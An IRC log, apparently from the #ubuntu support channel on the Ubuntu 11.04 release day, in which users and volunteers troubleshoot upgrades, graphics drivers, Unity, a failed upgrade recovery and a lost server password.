[18:19] <cdbs> raju: Try asking that in #zeitgeist
[18:19] <nijabo> euthymos, you can't move the launcher from what I can gather.
[18:19] <step21> lazlo, try ctrl+alt+F1
[18:19] <qchn> I can haz deface ur Wall. :3
[18:19] <escott> Stameni, see if hotmail support pop or imap
[18:19] <nijabo> euthymos, you can change the behavious using CCSM
[18:19] <TheNuts> Hey guys anyone else having problems connecting to gb.archive.ubuntu.com ?
[18:19] <nijabo> !ccsm
[18:19] <ubottu> To enable advanced customization of desktop effects in Ubuntu: install 'compizconfig-settings-manager' or 'simple-ccsm'. If you install the latter, a new option will appear in your appearance properties - See also !compiz - Help in #compiz
[18:19] <TheNuts> I think its down
[18:19] <Pici> qchn: This is a support channel. Please stay on topic.
[18:19] <Stameni> escott it does
[18:19] <ComradeH1z`> Haz deface, qchn you urchin?!
[18:20] <sanaki_> Stameni: Google it .
[18:20] <Pici> TheNuts: Its a release day, if you can't connect, try another mirror.
[18:20] <Pici> !google | sanaki_
[18:20] <ubottu> sanaki_: While Google is useful for helpers, many newer users don't have the google-fu yet. Please don't tell people to "google it" when they ask a question.
[18:20] <ComradeH1z`> *nick ComradeHaz`
[18:20] <ComradeH1z`> \nick ComradeHaz`
[18:20] <ComradeH1z`> ffs xD
[18:20] <escott> Stameni, then figure out what their pop or imap server is and then fill those details into evo
[18:20] <qchn> ComradeH1z`: No, it's just a fake. We're streamin' this Channel on E-Wall. Just kidding. :P
[18:20] <Stameni> snaki_ that seems to be universal answer to all my question, why than ask it here anyway ?
[18:20] <sanaki_> lol :D
[18:20] <truepurple> upgrading from 10.10 to 11.04, is there any benefits other then what is listed here http://www.ubuntu.com/ubuntu/whats-new ?
[18:20] <euthymos> nijabo: thanks
[18:20] <Salt> mmmm, 5Mbps download <3
[18:20] <ssav> but i know the root password,since ssh direct access is denied ,am not able to login
[18:20] <elssha> any other way to start terminal but alt+F2 or ctrl+alt+t ?
[18:21] <truepurple> Is it just this quick launch and workspace stuff only?
[18:21] <escott> ssav, if you know the root password you should be able to su
[18:21] <raju> cdbs:  how u had run that tell me the process
[18:21] <TerryBook> if we torrent the cd, will the upgrade tool automatically install from the cd?
[18:21] <hypetech> ssav: if you know the root password then why can't you login as your normal user and su root?
[18:21] <ror> what's the best way to report a bug? Got a repeat of bug #464064 but for 11.04 :(
[18:21] <ubottu> Launchpad bug 464064 in Ubuntu "essential package 'ubuntu-minimal' can not be found anymore." [Undecided,New] https://launchpad.net/bugs/464064
[18:21] <cdbs> raju: I just started it normally
[18:21] <Stameni> escott, i did that, but i want now that evolution grab all the emails that are on the server to my hard disk
[18:21] <sanaki_> Stameni: You can easily find it there with step by step instructions so !!!!!!!!!!!!!!!!!
[18:21] <elssha> atm i have no panels, no windo boarders apparently no way to access terminal >_<
[18:21] <cdbs> ror: Just comment on that bug that its affecting you on Natty
[18:21] <Stameni> escott, like tunderbird do
[18:21] <stefg> escott: there's a difference : sudo su - gets you root, with all consequences, sudo -s just gives you a root shell .... try 'gzip </dev/some_device >image.gz' ... won't work with sudo -i , but works after getting root with sudo su -
[18:21] <cdbs> ror: BTW, #ubuntu-bugs is a channel for bug questions
[18:22] <ror> thanks cdbs; A bit concerning it's still "new" after 2 years tho o.0
[18:22] <escott> ssav, if you cant su because your pam prevents it, and you cant get another login that will allow you to su you are hosed
[18:22] <sanaki_> Stameni: ya it saves your mail if you want to .
[18:22] <ssav> as i said server is in remote location, i have to access via ssh only.
[18:22] <Stameni> snaki, escott, thank you
[18:22] <raju> cdbs:  i even dont know abcd if this
[18:22] <HRT> hi, I installed Ubuntu 11.04 on my HP G62 laptop which has a VGA of ATI HD 5400, I activated the driver, but seems it's not already activated, please HELP!
[18:22] <raju> cdbs:  please tell me steps
[18:22] <Stameni> snaki_ , escott, thanks
[18:22] <cdbs> mustafa: I'm alsso waiting for gaara to come back, after that I'll know
[18:23] <cdbs> raju: I didn't get you. What do you want to do ?
[18:23] <hypetech> ssav: 1)SSH in as any user 2) type "su root" 3) type root password   <- this should work unless your system prevents you from su to root
[18:23] <cdbs> raju: Ask your question in #zeitgeist
[18:23] <SAM__> Hi can someone help me with setting up IPTables please?
[18:23] <llutz> stefg: "gzip </dev/some_device >image.gz"  works fine with "sudo -i" here
[18:23] <raju> cdbs k cool
[18:23] <cdbs> They'll help you with Activity Journal problems
[18:23] <rach0> HRT, could you be more specific?
[18:24] <sanaki_> I am trying to configure my reliance net connect on ubuntu 10.04 , using wvdial , i configured it using gnome-ppp did dmesg but unable to found my usbmodem in the list , please help . And when i give /dev/ttyUSB0 for modem detection its not able to detect too !
[18:24] <Stameni> sanaki_ , escott, thanks ( i allways spell it wrong )
[18:24] <TerryBook> will the distribution upgrade tool automatically install from the cd if I have it in the drive?
[18:24] <ssav> other than root onely one user is created, that user passwd we lost..thats the problem
[18:24] <SAM__> Hi can someone help me with setting up IPTables please I have tried but I keep ending up locking myself out of my server lol
[18:24] <stefg> llutz: does it? on debian it won't
[18:24] <step21> elssha, you can't boot into classic or into rescue mode?
[18:24] <poop_monster> Hey guys, my video driver is activated but I can't start Unity. Is there any way to fix this? Thanks for the help!
[18:24] <truepurple> Upgrading from 10.10 to 11.04, is there any benefits other then what is listed here http://www.ubuntu.com/ubuntu/whats-new ? Is it just this quick launch and workspace stuff only?
[18:25] <llutz> step21: debian sid + ubuntu 10.10, both
[18:25] <ssav> no physical access.... but i can send some payloads scripts..
[18:25] <escott> stefg, gzip </dev/sda4 > foo.gz works fine for me in sudo -i
[18:25] <step21> llutz, I have no idea what you mean ...
[18:25] <cordoval_> I was upgrading to natty and my computer shut down because i unplugged it
[18:25] <HRT> rach0: when I activated the FGLRX, it downloads the drivers, installs it, then it requires to reboot the system, I reboot, but the driver seems not activated, as no single effect runs properly, though, in "Hardware Drivers" says the drivers is activated and currently in use
[18:25] <cordoval_> now it is waiting for disk to be present or manual recovery
[18:25] <jake_> can some one helpme out my computer keeps on locking up and its always when ports 35000 to 55000 are active
[18:25] <llutz> stefg:  debian sid + ubuntu 10.10, both
[18:26] <cordoval_> what do I do?
[18:26] <ScreenIssue> Just installed 11.04. I no longer have a backlight. Is there a solution?
[18:26] <llutz> step21: sry wasnt for you
[18:26] <cordoval_> hit m for manual recovery
[18:26] <escott> stefg, there are differences in things like environment variables for sure
[18:26] <jrib> ssav: reset the user's password
[18:26] <sanaki_> Stameni:Merci.
[18:26] <ssav> so I need a script to reset the passwd ,,, over network i can execute .
[18:26] <poop_monster> HRT: I'm running into the exact same issue, but with an Nvidia driver
[18:26] <mtlife> hey I see that nvidia-96 is in the repository for 11.04, does it allow compiz?
[18:26] <step21> ssav, there is no such thing, it is called security
[18:26] <NfNitLoop> What's the differenc3e between maverick and maverick-updates?   I already get updates from maverick... curious why there's a separate repo for maverick-updates.
[18:26] <econdudeawesome> WHat package is it that has GDM go to a login screen?
[18:26] <cordoval_> any ideas on how to manual recover a failed install because of power failure
[18:27] <cordoval_> how to fix it please help
[18:27] <elssha> atm i have no panels, no windo boarders apparently no way to access terminal >_< anyone?
[18:27] <cordoval_> my computer powered down and it was installin natty
[18:27] <cordoval_> what do I do?
[18:27] <Spkes> damn that fucking unity, at this point i could just stick with server version without anything else but terminal
[18:27] <cordoval_> rats!
[18:27] <escott> cordoval_, have you run fsck on the drives?
[18:27] <hypetech> ssav: what level of access does your payload script run at?
[18:27] <rach0> HRT, i suggest you remove the fgrlx stuff and go with the open source. i think the binaries are still quite buggy with natty. also there is no problems with the effects using the open source one. i'm with a HD 5500
[18:27] <step21> elssha, did you answer my question from before?
[18:27] <cordoval_> no
[18:27] <elssha> what Q?
[18:27] <cordoval_> escott: what the command
[18:27] <stefg> cordoval_: why can't you just start over?
[18:27] <cordoval_> how to start over?
[18:28] <cordoval_> I was doing upgrade
[18:28] <IdleOne> !language | Spkes
[18:28] <ubottu> Spkes: Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
[18:28] <step21> cordoval_, reinstall from cd
[18:28] <TerryBook> if I have a natty cd in the drive, will the distribution upgrade tool automatically use it to install the upgrade or is there a procedure I need to follow?
[18:28] <ssav> i have only one way to access ,through our application which currently running and have an option to send a payload and excute without login to the server. so i need your help here...pls ..
[18:28] <SAM__> Hi can someone help me with setting up IPTables please I have tried but I keep ending up locking myself out of my server lol
[18:28] <cordoval_> I was upgrading, have some data
[18:28] <HRT> rach0: please can you give me abbreviated steps? I'm noob :(
[18:28] <jake_> can some one helpme out my computer keeps on locking up and its always when ports 35000 to 55000 are active
[18:28] <cordoval_> what is the command escott, you seem to help a lot
[18:28] <escott> cordoval_, in livecd fsck the drives, you could try and get into a chroot environment and resume the upgrade (assuming its non-bootable and there is no corruption
[18:28] <elssha> step21; what Q?
[18:28] <econdudeawesome> Spkes: I share the sentiment. Unity is a step backwards, as is Gnome3
[18:28] <Spkes> ubottu, IdleOne sorry, i'll watch it
[18:28] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[18:28] <IdleOne> Spkes: thank you.
[18:28] <escott> cordoval_, but it may be easier to just reinstall
[18:28] <stefg> cordoval_: Ahh.... bad timing for a power outage... dpkg --configure -a
[18:29] <cordoval_> dpkg configure -a?
[18:29] <step21> ssav, I don't know your application ... you could try scripting passwd, but that only works if you know the password, remotely there is no other way afaik
[18:29] <Stava> how do i upgrade to ubuntu 11.04 from 10.10?
[18:29] <step21> elssha, if you can boot classic or in rescue mode
[18:29] <SAM__> Hi can someone help me with setting up IPTables please I have tried but I keep ending up locking myself out of my server lol
[18:29] <Spkes> econdudeawesome, i just don't get what guys from canonical were thinking. maybe later in like version 2-3 Unity would be good, but until then i'll probabaly stick with Gnome 2
[18:29] <ssav> if u give me the script ,,,,i can execute over netowork
[18:29] <IdleOne> Stava: System > Administration > Update Manager
[18:29] <stefg> cordoval_: i think you should save your files from the hosed upgrade and do a fresh install...
[18:29] <davve123> hiya, when i try to install subversion with apt-get i get stuck at Waiting for headers. HEPL
[18:30] <HyperShock> Stava: your update_manager under system->administration can help you with that
[18:30] <cordoval_> dpkg configure -a  error need an action option
[18:30] <jake_> well its nice to see the spam bots have dissapeared
[18:30] <TerryBook> how do I do a distribution upgrade using a cd?
[18:30] <Stava> HyperShock, why wont just apt-get dist-upgrade do it? :o
[18:30] <Fodi69> hi, when I have a window at "fullscreen" (in unity), why the close, minimize button not clickable, when I'm hitting the top of the screen?
[18:30] <elssha> step21; you mean recovery?
[18:30] <IdleOne> TerryBook: you need to use the !alternate cd
[18:30] <truepurple> upgrading from 10.10 to 11.04, is there any benefits other then what is listed here http://www.ubuntu.com/ubuntu/whats-new ?
[18:30] <jrib> ssav: look into chpasswd
[18:30] <IdleOne> !alternate | TerryBook
[18:30] <ubottu> TerryBook: The Alternate CD is a classic text-mode install CD. It supports a wider range of hardware than the !LiveCD, and can also be used as an upgrade CD. http://www.ubuntu.com/download/ubuntu/alternative-download#alternate - See also !minimal
[18:30] <HRT> rach0: ...
[18:30] <jake_> can some one helpme out my computer keeps on locking up and its always when ports 35000 to 55000 are active
[18:30] <cdbs> truepurple: yes, almost all applications have been updated
[18:30] <cdbs> truepurple: its much faster as well
[18:30] <escott> cordoval_, before doing a bunch of dpkg stuff run fsck /dev/sda? on your partitions from the livecd
[18:30] <HyperShock> Stava: no clue, just a user like you, different software. how come you don't want to use the gui?
[18:31] <TerryBook> ok, so I grabbed the wrong torrent, then
[18:31] <bill_> anyone else getting a very slow download speed while upgrading?
[18:31] <harpal> escott: ok,
[18:31] <step21> elssha, yes
[18:31] <harpal> escott: thanks a lot, it worked
[18:31] <truepurple> cdbs Ok thanks, where do I find this out though? Where did you find this out?
[18:31] <Fodi69> bill_: yeah just wait :D
[18:31] <IdleOne> TerryBook: happens :) keep the Live CD torrent also, always good to have as a backup.
[18:31] <cdbs> truepurple: I'm using it :)
[18:31] <TerryBook> true :)
[18:31] <elssha> step21; i can try, but then i won't be on here.... what do i do once i'm there?
[18:31] <escott> cordoval_, then decide... is it a better use of your time to backup data and reinstall from scratch, or try to continue an upgrade of a potentially hosed system
[18:31] <cordoval_> escott: I don't have a livecd
[18:31] <MC8> Howdy, is the Update Manager normally this borked on Ubuntu updates?
[18:31] <jan_> hi guys, I've just upgraded from ubuntu 10.10 to 11.04 and have a problem with multicast
[18:31] <HyperShock> bill_: that is a no brainer friend, it just went hot in the past 24 hours. Everyone is trying to download it. waiting till the 5th of May would be better dl speed wise.
[18:31] <cordoval_> rats!
[18:31] <elssha> i can boot recovery, not sure what classic is
[18:31] <escott> cordoval_, how far can you get in the boot? can you get to command line?
[18:32] <cdbs> mustafa: Gaara not back yet :( Well, you can give it a try. What's the exact problem you're facing?
[18:32] <Fodi69> I have a window at "fullscreen" (in unity), why the close, minimize button not clickable, when I'm hitting the top of the screen with the mouse?
[18:32] <cordoval_> I can backup data then but could I just plugin an external usb and fetch it?
[18:32] <step21> ssav, I don't think with your knowledge what you want will work
[18:32] <SAM__> Can someone help me with IPTables please and setting up for some protection against DDoS
[18:32] <cordoval_> It gives me the option to go to older kernels
[18:32] <jake_> do i have to call an indian help ctr?
[18:32] <cordoval_> perhaps I can go into one of them and try reinstalling?
[18:32] <jan_> could someone help? It seems that ufw is denying igmpt packets
[18:32] <step21> elssha, so you can't choose to login to classic in gdm?
[18:32] <cordoval_> this is an asus g73
[18:32] <gaara> cdbs, it dint work
[18:33] <bill_> bummer :P they should make the updater a torrent client and let everyone who's downloading also share the files! dunno how hard that would be to do but I think it would probably be good!
[18:33] <cordoval_> I will go to kernel 27
[18:33] <gaara> cdbs, :(
[18:33] <cdbs> gaara: Same problem? :(
[18:33] <cordoval_> i think 28 is natty
[18:33] <IdleOne> !patience > jake_
[18:33] <ubottu> jake_, please see my private message
[18:33] <cordoval_> rats it can't mount /
[18:33] <step21> elssha, if you are on that pc now, what are you running if nothing works?
[18:33] <cordoval_> rats!
[18:33] <cordoval_> and cats! /
[18:33] <FloodBot3> cordoval_: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[18:33] <HyperShock> !iptables | SAM__
[18:33] <ubottu> SAM__: Ubuntu, like any other Linux distribution, has firewall capabilities built-in. The firewall is managed using the 'ufw' command - see https://help.ubuntu.com/community/UFW | An alternative to ufw is the 'iptables' command - See https://help.ubuntu.com/community/IptablesHowTo | GUI frontends such as Gufw (Gnome) or Guarddog (KDE) also exist.
[18:33] <cdbs> gaara: So how did you set nomodeset on livecd?
[18:33] <cordoval_> press s to skip mounting
[18:33] <cordoval_> press M for manual recovery
[18:33] <Fodi69> can I configure somehow the close/minimize/maximize buttons BUT WHEN AT FULLSCREEN?
[18:33] <cordoval_> when I press M
[18:33] <escott> cordoval_, better press M
[18:33] <cordoval_> I get the console
[18:33] <escott> cordoval_, or get a livecd
[18:33] <cordoval_> but now what
[18:33] <n2diy>  Is there a way to display hard drive activity on my desktop or panel?
[18:33] <cordoval_> I am on the console
[18:34] <gaara> cdbs, i waited for sooo long to get natty, and now it acts up like this, i set it on livecd by pressing f6, and then selected the nomodeset option
[18:34] <misha_> getting my messages?
[18:34] <escott> cordoval_, thats a busybox terminal
[18:34] <cordoval_> what do I do now?
[18:34] <elssha> step21; basically the programs that open at startup work; email, chat, i turned on FF via a link in an e-mail
[18:34] <jake_> can some one helpme out my computer keeps on locking up and its always when ports 35000 to 55000 are active
[18:34] <cordoval_> busybox terminal ok
[18:34] <escott> cordoval_, you need to fsck /dev/sda?
[18:34] <jake_> can some one helpme out my computer keeps on locking up and its always when ports 35000 to 55000 are active
[18:34] <SAM__> HyperShock I use CSF is there any documentation or guides using it?
[18:34] <step21> cordoval_, someone told you before what to put into the console to try a recovery, otherwise start the install again
[18:34] <elssha> i can do the shift+ctrl+F2 thing
[18:34] <Craigen> I need some quick help here :) I just updated to 11.04, but when i login i can move for a few secs then everything just freezes. Any ideas? :)
[18:34] <cdbs> gaara: hmm
[18:35] <step21> elssha, but no terminal or alt-F2 and I guess you have auto-login?
[18:35] <jake_> can some one helpme out my computer keeps on locking up and its always when ports 35000 to 55000 are active
[18:35] <jan_> Anyone has problems with allowing IGMP packets in Natty?
[18:35] <cordoval_> device or resource busy while tryng to open dev/sda
[18:35] <gaara> cdbs, its impossible that im the only one having this problem
[18:35] <cordoval_> filesystem mounter or opened exclusively by another program?
[18:35] <cdbs> gaara: too bad, well, did gnome-panel session come up or did unity come up after setting nomodeset?
[18:35] <ThomasUK> this 11.04 is going down a treat it seems /sarcasm
[18:35] <MichealH> Silly Question.... How do I hide the Unity Launcher
[18:35] <gaara> cdbs, gnome
[18:35] <cordoval_> what other command I can try to restore it?
[18:35] <MichealH> cdbs: How do I hade the Unity Launcher?
[18:35] <cdbs> MichealH: It doesn't do that itself?
[18:35] <escott> cordoval_, yeah a corrupt / is going to be a problem... get an install cd
[18:35] <stefg> jake_ : might be related to ipv6
[18:35] <mustafa> cdbs, when I select Install, I get black screen.
[18:35] <MichealH> cdbs: Nope
[18:35] <usr13> jubei_: Still here?
[18:35] <Fodi69> can I configure somehow the close/minimize/maximize buttons BUT WHEN AT FULLSCREEN?
[18:35] <sebsebseb> hi ThomasUK
[18:36] <elssha> no, i log in normally (log in screen; enter user then pass) step21... that part is fine. alt+F2 does nothing
[18:36] <usr13> jubei_: ... just got back from lunch
[18:36] <step21> MichealH, normally it autohides
[18:36] <stefg> !ipv6 | jake_
[18:36] <cdbs> MichealH: Install ccsm, type about:config in Alt+F2, set option there
[18:36] <ubottu> jake_: For an introduction to IPv6 and information on tunneling IPv6 through IPv4 connections, see https://wiki.ubuntu.com/IPv6 | To disable IPv6 see https://help.ubuntu.com/community/WebBrowsingSlowIPv6IPv4
[18:36] <ThomasUK> hi sebsebseb
[18:36] <gaara> cdavis, does it make a difference that i already have a 10.10 installation on a different drive?
[18:36] <cordoval_> can it be any install disk eg ubuntu 10.10?
[18:36] <mustafa> cdbs, I do not open liveCD even
[18:36] <sebsebseb> ThomasUK: just got back to the computer, but I think quite a few people are going to other distro's,  because of 11.04, Unity being a main reason, to be honest
[18:36] <escott> cordoval_, and it would be /dev/sda# for whatever your root partition is
[18:36] <gaara> cdbs, does it make a difference that i already have a 10.10 installation on a different drive?
[18:36] <step21> elssha, then log into classic and try to fix things from there
[18:36] <cdbs> gaara: shouldn't make a difference
[18:36] <ThomasUK> yeah 11.04 sucks
[18:36] <elssha> step21; what's classic?
[18:36] <Fodi69> maybe opensuse
[18:36] <sebsebseb> ThomasUK: oh you tried it already then?
[18:36] <Fodi69> will work :D
[18:36] <usr13> ThomasUK: Whatsammatter?
[18:36] <liquidguide> Does anyone know on natty in unity how to get applets on the top bar.  Specifically a stock applet or even a standalone program.
[18:36] <ThomasUK> sebsebseb: when I get asked to put it on our PXE system I'm going to say.. no :)
[18:37] <cdbs> gaara: And is the problem with nomodeset set is the same as it came while installing?
[18:37] <ThomasUK> we tried it in the DC
[18:37] <rach0> ThomasUK, no it doesn't it just has bugs as expected, mainly with Unity
[18:37] <Fodi69> can I configure somehow the close/minimize/maximize buttons BUT WHEN AT FULLSCREEN?
[18:37] <stefg> !pm | jake_
[18:37] <ubottu> jake_: Please ask your questions in the channel so that other people can help you, benefit from your questions and answers, and ensure that you're not getting bad advice. Please note that some people find it rude to be sent a PM without being asked for permission to do so first.
[18:37] <sebsebseb> ThomasUK: PXE system ?
[18:37] <ThomasUK> sebsebseb: automatic deployment of OS's on servers
[18:37] <sfdsafdsafdsa> i want my old gnome back how can i get it?
[18:37] <IdleOne> ThomasB2k: sebsebseb Please take the chat to #ubuntu-offtopic.
[18:37] <cordoval_> escott: oh so I should have trieddev/sda1
[18:37] <step21> elssha, where you log in, at the  bottom there is a bar where you can choose to log into an environment that is more like the old version, it should work
[18:37] <usr13> ThomasUK: In the District of Columbia?
[18:37] <cordoval_> hmm
[18:37] <stefg> jake_: read ubottu's factoid
[18:37] <IdleOne> err ThomasUK I meant
[18:37] <cordoval_> rats!
[18:37] <cordoval_> it is doing something
[18:37] <cordoval_> oh no
[18:37] <gaara> cdbs, it is behaving the same way as it behaved during installation also
[18:37] <cordoval_> wrong
[18:37] <cordoval_> I better get that cd
[18:37] <FloodBot3> cordoval_: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[18:37] <sebsebseb> ThomasUK: right yeah, better to stay with 10.04 for the servers, since that's Long Term Support
[18:37] <tsuna2> Hi I am using 10.04 and was wondering when would be the best time to update to 11.04
[18:37] <rach0> sfdsafdsafdsa, in the gdm menu select ubuntu classic
[18:37] <sfdsafdsafdsa> how can i install back to old gnome?
[18:37] <ror> "could not download the release notes" < is that ubuntu being overloaded or is my conn being funny?
[18:37] <escott> cordoval_, yep.
[18:38] <cdbs> gaara: then I don't think a lot can be dome
[18:38] <jiltdil> how 11.04 is working guys i am thinking to install it or i should wait for few days more?
[18:38] <Fodi69> can I configure somehow the close/minimize/maximize buttons BUT WHEN AT FULLSCREEN?
[18:38] <jake_> thanx ill take alook at that
[18:38] <cdbs> sfdsafdsafdsa: Select 'ubuntu classic desktop' session at login
[18:38] <liquidguide> sfdsafdsafdsa, you can pick classic gnome on login at the bottom
[18:38] <ElNino> hey i have installed ubuntu 11.04 and decided i wanted to try out unity.. its fine and all, but im wondering if there is a was to keep compiz enabled, but yet not have it change the windows?
[18:38] <cordoval_> ok I will try 10.10 livecd and I guess I choose to try ubuntu there or what?
[18:38] <elssha> step21; ty, i'll try
[18:38] <elssha> gotta restart
[18:38] <sebsebseb> ThomasUK: 10.04 server edition to be exact,  since with the desktop you would only get the three years support, instead of the five
[18:38] <sfdsafdsafdsa> ok
[18:38] <sfdsafdsafdsa> login out
[18:38] <stefg> jiltdil: I#d wait 6 weeks and do a net-intsall
[18:38] <escott> cordoval_, yeah thats fine to fix the disk
[18:38] <laumonier> i've got a pretty old dual core which works on i386 in 32bits for now  is it advise to try the 64bits or not????what is the edge of 64 bits?
[18:38] <Fodi69> can I configure somehow the close/minimize/maximize buttons BUT WHEN AT FULLSCREEN?
[18:38] <ThomasUK> sebsebseb: yeah i know
[18:38] <cordoval_> ok going for it
[18:38] <sebsebseb> ThomasUK: or you could go Debian or CentOS or something :D
[18:38] <gaara> cdbs, do u work for canonical? or u just a fan like me?
[18:38] <ThomasUK> lol
[18:38] <cdbs> gaara: I am both
[18:38] <stefg> laumonier: how much ram?
[18:39] <jiltdil> stefg:is there any cause
[18:39] <MichealH> cdbs: No package called ccsm :/
[18:39] <tsuna2> does anyone know if skype works right away on 11.04
[18:39] <ror> Also, does anyone know if it's possible to upgrade from 32bit to 64bit? I'd like to do it without nuking /home if possible
[18:39] <gaara> cdbs, canonical Uk?
[18:39] <Fodi69> can I configure somehow the close/minimize/maximize buttons BUT WHEN AT FULLSCREEN?
[18:39] <escott> laumonier, grep lm /proc/cpuinfo to see if you have 64bit
[18:39] <escott> ror, no its not
[18:39] <gaara> ror, no its not possible
[18:39] <step21> MichealH, it is called something like compiz-config-settings-manager
[18:39] <ror> thanks :(
[18:39] <cdbs> gaara: pm
[18:39] <mustafa> cdbs, ?
[18:39] <laumonier> stefg one giga
[18:39] <gaara> ror, im stuck with the same problem
[18:39] <ElNino> step21: yup
[18:39] <cdbs> MichealH: compizconfig-settings-manager
[18:40] <stefg> jiltdil: ubuntu has never been good at getting releases ready ..... they release at the given date, not when it's /really/ fit for a relaese
[18:40] <cordoval_> what is ror?
[18:40] <step21> Fodi69, not afaik
[18:40] <ElNino> cdbs do you know how i can have normal windows in unity?
[18:40] <IdleOne> sebsebseb: provide support or part the channel. telling people about your personal opinion on Unity is off topic for this channel. If you want to chat you already know about #ubuntu-offtopic. Suggesting people use other distros is also not acceptable for #ubuntu.
[18:40] <mustafa> gaara, did it work?
[18:40] <cdbs> mustafa: I don't think a lot can be done
[18:40] <cordoval_> and also would it matter if it is a 64 machine and it is a 32 bit live cd?
[18:40] <escott> cordoval_, who is ror?
[18:40] <cdbs> mustafa: Which GPU?
[18:40] <cordoval_> escott:
[18:40] <gaara> mustafa, nope :(
[18:40] <MichealH> cdbs: You had to change package names -.-
[18:40] <sebsebseb> IdleOne: hmm ok
[18:40] <stefg> laumonier: stick with 32 bit. your rm is precious, and adobe flash is tricky in 64 bit
[18:40] <cdbs> ElNino: Normal Windows? Select Ubuntu Classic session at login
[18:40] <escott> cordoval_, you can still boot and run the fsck.
[18:40] <mustafa> cdbs, ATI Mobility 3650.
[18:40] <IdleOne> sebsebseb: thank you,
[18:40] <Fodi69> step21: but why, this ultimately sucks and no config for it?
[18:40] <jiltdil> stefg:ok thanks if you don't mind may you tell what kind or problem will i face if i installed it yet?
[18:40] <cdbs> mustafa: weird then. When you click 'Try Ubuntu' what comes?
[18:40] <Fodi69> can I configure somehow the close/minimize/maximize buttons BUT WHEN AT FULLSCREEN?
[18:40] <ElNino> cdbs ubuntu classic will be unity too?
[18:41] <stefg> laumonier: 64bit only makes sense on servers and with >4G ram
[18:41] <mustafa> cdbs, black screen only
[18:41] <Fodi69> stefg: >3G ram
[18:41] <laumonier> stefg ty for your help
[18:41] <cordoval_> ok it is bootting
[18:41] <Z1nn0c> I have trouble installing the newest version of Ubuntu Linux. Help with PM.
[18:41] <step21> Fodi69, prob because that's how it makes sense ... in classic you can still configure them
[18:41] <escott> cordoval_, step 1 is going to be fsck. step 2 is to decide between (a) backing up data, downloading disk and reinstalling or (b) trying to boot and resuming the install from console. i would suggest (a)
[18:41] <cordoval_> I guess I should choose the option to try ubuntu
[18:41] <gogeta> 64bit makes sense with anything more then 3gb
[18:41] <jiltdil> stefg: also i have 4gb of ram and 64bit supporting hardware shoul di go for 64bit
[18:41] <gogeta> blame flash for being crashy
[18:41] <step21> Fodi69, also, don't spam
[18:41] <Combatjuan> Oh.  Natty was officially released.  /That's/ why it's so busy in here.
[18:42] <ElNino> cdbs: well in unity the top of the window turns orange and transparant instead of dark grey like normal
[18:42] <escott> jiltdil, its not just about ram, there are also more registers and sse extensions in 64bit
[18:42] <cordoval_> how to go for b
[18:42] <gaara> mustafa, what about for you?
[18:42] <cordoval_> sounds easier
[18:42] <Fodi69> step21: yeah, but this way it is UNUSABLE......
[18:42] <escott> cordoval_, ask about (b) AFTER you do the fsck please
[18:42] <cdbs> ElNino: screenshot please, I can't understand
[18:42] <cordoval_> ok
[18:42] <mustafa> I have not tried something yet.
[18:42] <ElNino> cdbs: 2 sec
[18:42] <gogeta> Fodi69: unity is fail but shhh
[18:42] <cordoval_> I will do fsck /dev/sda1
[18:42] <mustafa> gaara, I have not tried something yet.
[18:42] <cordoval_> I got the default
[18:42] <jiltdil> escott:please tell me
[18:42] <escott> cordoval_, and (b) is substantially harder and may not result in a working system
[18:43] <cordoval_> rats
[18:43] <ray_> How's Ubuntu 10.04?
[18:43] <cordoval_> 11
[18:43] <Fodi69> gogeta: then why forcing it? :(
[18:43] <Witchsong_> http://3.bp.blogspot.com/-zfjsZBC3Ajk/TbfO95Lv25I/AAAAAAAAB-o/8qQlSBeoAVY/s1600/Screenshot.png <-- How can I sort the sidepane elements into groups like that?
[18:43] <ray_> I meant that
[18:43] <ray_> sorry
[18:43] <step21> Fodi69, I find it quite usable. like I said if you want the old one back choose classic at login
[18:43] <Z1nn0c> Ubuntu 11.04 freeze for me. :(
[18:43] <gogeta> Fodi69: couse cannel cant let go of gtk
[18:43] <Hedgehog456> What's wrong with Unity?
[18:43] <gaara> mustafa, do u have an intel gfx card?
[18:43] <mustafa> gaara, no ATI.
[18:43] <rach0> ray_, ubuntu 10.04 is tip top, while ubuntu 11.04 ain't yet
[18:43] <jiltdil> is unity better than gnome?
[18:43] <Dr_Willis|2> Hedgehog456:  its differnt then what people are used to.
[18:43] <escott> jiltdil, the wikipedia page on AMD64 is pretty informative. most developers are going 64bit, but some software (adobe flash) works a little better in 32bit
[18:43] <stefg> jiltdil: that's my belly speaking, i have no particular reason to advise that. Regarding the 32 vs. 64 bit question: if you do lots of number crunching (video encoding) 64 bits might pay off, but for a standard desktop system 32-bit with pae will be more convinient
[18:43] <Dr_Willis|2> jiltdil:  try it out. decide for yourself.
[18:44] <step21> jiltdil, depends on personal preference
[18:44] <gogeta> jiltdil: no but gnome 3 is fail to sooo
[18:44] <zephyr> I guess Unity is more user-friendly...
[18:44] <Witchsong_> I like Unity a lot, but I am not used to it yet.
[18:44] <Fodi69> step21: this layout is kind of nice, but fucking buggy and unusable :(
[18:44] <sebsebseb> jibel: Unity at the moment goes on top of Gnome 2, another interface for it, but for the next one, it will go on top of Gnome 3 instead of using their interface by default Gnome Shell
[18:44] <cordoval_> escott: now I open a terminal on the ubuntu 32 and type fsck /dev/sda# so the # is not going to be 1
[18:44] <Dr_Willis|2> 64bits gives me a decent improvement in the video reencoding I do.
[18:44] <jiltdil> thanks to all
[18:44] <cordoval_> is going to be something else I hope it can at least mount it
[18:44] <escott> yes and do it for all your partitions
[18:44] <IdleOne> Fodi69: Please mind your language.
[18:44] <ray_> I think I should wait first
[18:44] <cordoval_> rats!
[18:44] <cordoval_> oh ok
[18:44] <cordoval_> thanks escott!
[18:44] <escott> cordoval_, you may need to sudo
[18:44] <ElNino> cdbs: http://img6.imagebanana.com/img/jm9z71n5/Selection_001.png <-- this is what i want gone
[18:44] <D-coy> o/
[18:45] <cordoval_> yes will do
[18:45] <HyperShock> n2diy: did you get your answer yet?
[18:45]  * cdbs looks
[18:45] <step21> Fodi69, taste varies I guess. anything specific that you don't like (not that I can do anything about it)
[18:45] <gogeta> Fodi69: its been buggy and unstable sense the day they launched it in 10.10
[18:45] <Guest20267> ElNino: why? it is lovely!
[18:45] <cdbs> ElNino: which theme are you using?
[18:45] <Hedgehog456> IdleOne: There's a ubottu command for that, just so you don't have to type as much ^_^: !wtf
[18:45] <dpac> Can anyone give me ftp address to download ubuntu iso?
[18:45] <jiltdil> <Dr_Willis|2>in your opinion which is better gnom3 or unity
